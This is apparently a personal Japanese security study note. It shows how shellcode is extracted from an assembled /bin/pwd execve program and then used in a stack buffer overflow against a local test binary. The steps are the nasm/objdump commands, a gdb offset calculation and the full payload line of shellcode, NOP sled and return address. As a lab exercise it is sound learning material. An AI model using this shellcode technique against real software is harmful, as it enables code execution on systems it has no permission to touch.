akkietech’s diary

セキュリティ関連メインの自分用メモ書き。twitter: @akkietech

1/8 シェルコード、ペイロード生成

■シェルコードの生成、ペイロード実行

アセンブリ言語で作った元のファイル:pwd_exec.asm

・¥ はバックスラッシュを指す

 

# nasm -f elf64 -o pwd_exec.o pwd_exec.asm

# ld pwd_exec.p -o pwd_exec

# objdump -M intel -d pwd_exec | grep '^ ' | cut -f2 | perl -pe 's/(¥w{2})¥s+/¥¥x¥1/g'

=>  \x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x70\x77\x64\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05

 

あとはシェルコードを開始する位置と戻り番地が格納されている先頭アドレスの差を

求めてペイロードを作成

 

シェルコード開始アドレス:0x7fffffffe070

戻り番地の格納アドレス:0x7fffffffe0c8

(gdb) print 0x7fffffffe0c8 - 0x7fffffffe070

=> $1 = 88

 

つまり88バイト分の差があるので

シェルコード(29バイト) + NOPコマンド(59) + シェルコード開始アドレス(8バイト)

これを引数として渡せばシェルコードが実行される

 

# ./bypass $(perl -e 'print "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x70\x77\x64\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" . "\x90"x59 . "\x70\xe0\xff\xff\xff\x7f";')

 

ちなみに

gbdの方では、戻り番地として渡すアドレスは0x7fffffffe070で成功

Cの方では、戻り番地として渡すアドレスは0x7fffffffe0a0で成功

 

ターミナルで実行するのとデバッガで実行するのとでは

多少アドレスが変わることがわかった